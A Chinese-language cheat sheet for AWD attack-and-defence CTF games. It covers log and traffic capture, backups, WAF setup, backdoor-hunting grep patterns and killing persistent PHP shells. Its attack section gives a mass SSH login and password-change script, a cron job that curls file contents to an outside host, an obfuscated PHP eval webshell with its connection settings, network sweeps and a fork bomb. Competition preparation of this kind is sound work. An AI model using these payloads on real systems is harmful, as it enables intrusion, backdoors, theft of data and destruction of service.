AWD 總結&分析
一:題目類型
1-出題人自己寫的cms,為了惡心然后加個so。
2-常見或者不常見的cms。
3-一些框架漏洞,比如ph師傅挖的CI這種
二:題目漏洞類型
1-sqli居多
2-文件包含
3-各種rce
4-文件上傳
三:拿flag方式
1-是向內網一台機器發送http請求,返回請求中包含flag。
2-是例如/home目錄下放置flag文件。
四.防御
1.流量
sudo tcpdump -s 0 -w flow.pcap port 80
2.日志分析
日志地址
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/
3.打包源碼&備份數據庫
# 打包目錄
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz
# 備份指定的多個數據庫
mysqldump -u root -p --databases choose test > /tmp/db.sql
# 恢復備份,在mysql終端下執行:
# 命令格式:source FILE_PATH
source ~/db.sql
# 曾經遇到一個備份有問題可以執行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
# 重置mysql密碼
# 方法1:用SET PASSWORD命令
mysql> set password for 用戶名@localhost = password('新密碼');
# 方法2:用mysqladmin
mysqladmin -u用戶名 -p舊密碼 password 新密碼
4.重置ssh密碼
登陸后一個passwd
就可以
但其實還是有腳本的
比如批量改默認密碼
#!/usr/bin/python
#-*-coding:utf-8-*-
import paramiko
import socket
def userssh_changepwd(ip,user,old_password,new_password):
# 建立一個sshclient對象
ssh = paramiko.SSHClient()
# 允許將信任的主機自動加入到host_allow 列表,此方法必須放在connect方法的前面
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=ip, port=22, username=user, password=old_password,timeout=5)
stdin, stdout, stderr = ssh.exec_command("ls ~")
s=str(stdout.read(),'utf-8')
for i in s.split('\n'):
if("flag" in i):
command1="cat ~/%s" %(i.strip())
stdin, stdout, stderr = ssh.exec_command(command1)
flag=str(stdout.read(),'utf-8')
print("%s-%s" %(ip,flag.strip()))
command = "passwd %s\n" %(user)
stdin, stdout, stderr = ssh.exec_command(command)
#\n模擬回車 輸兩次密碼
stdin.write(old_password+'\n'+ new_password + '\n' + new_password + '\n')
out, err = stdout.read(), stderr.read()
#print(out)
successful = 'password updated successfully'
#print(out,err)
if successful in str(err):
print(ip + " 密碼修改成功!")
else:
print('\033[31m錯誤:\033[0m' + str(err))
print(ip + " 密碼修改失敗!")
# 關閉連接
ssh.close()
except paramiko.ssh_exception.AuthenticationException as e:
print(ip + ' ' + '\033[31m賬號密碼錯誤!\033[0m')
with open('nossh.txt','a') as f:
f.write(ip + '\n')
except socket.timeout as e:
print(ip + ' ' + '\033[31m連接超時!\033[0m')
with open('timeoutssh','a') as f:
f.write(ip + '\n')
user="bee"
old_passwd="xbwkaliwin2003"
new_passwd="xbwkaliwin2008"
with open('ip.txt','r') as f:
for i in f.readlines():
host=i.strip()
userssh_changepwd(host, user, old_passwd, new_passwd)
5.部署waf
whatchwaf
說明:
-
下載最新release
-
將waf.so,watchbird.php文件存放在/var/www/html或其他目錄中
-
將watchbird.php放在www-data可讀的目錄, 確保當前用戶對目標目錄可寫, 然后執行
php watchbird.php --install [Web目錄]
, 安裝器將輸出安裝了watchbird的文件路徑 -
訪問任意啟用了waf的文件, 參數
?watchbird=ui
打開watchbird控制台, 創建一個初始密碼 -
如需卸載, 請在相同的位置輸入
php watchbird.php --uninstall [Web目錄]
, 如果您多次運行了安裝, 請多次運行卸載直到卸載器無輸出
ps:由於chrome無法允許不安全的網站(無SSL證書)顯示通知,請使用Firefox並修改about:config中dom.webnotifications.allowinsecure為true)ps:php7應該不支持,不要放到root目錄下(awd模式下也不會有root權限)要放在對應網頁權限的目錄下(默認網頁權限是www-data)比如/var/www/目錄
6.查找后門
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
7.查找關鍵文件
#備份文件
find / -name "*.bak"
#config文件
find / -name "config.*"
8.干掉不死馬
(1).ps auxww|grep shell.php
找到pid后殺掉進程就可以,你刪掉腳本是起不了作用的,因為php執行的時候已經把腳本讀進去解釋成opcode運行了
(2).重啟php等web服務
(3).用一個ignore_user_abort(true)腳本,一直競爭寫入(斷斷續續)。usleep要低於對方不死馬設置的值。
(4).創建一個和不死馬生成的馬一樣名字的文件夾。
五.攻擊
1.crontab自動提交flag到平台
*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
記得改token和目錄
crontab路徑
/var/spool/cron
2.掃描主機
# masscan
masscan -p 80 172.16.0.0/24
# nmap
nmap –sn 172.16.0.0/24
3.混淆過的一句話
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
配置填`n985de9=QGV2YWwoJF9QT1NUWzBdKTs=`
連接密碼:0(零)
5.查看出題者后來改動的地方(一般漏洞是改出來的)
ls -t按修改時間來看最新被修改的文件
4.fork炸彈(直接摧毀服務器)
:() { :|: & };:
------------恢復內容結束------------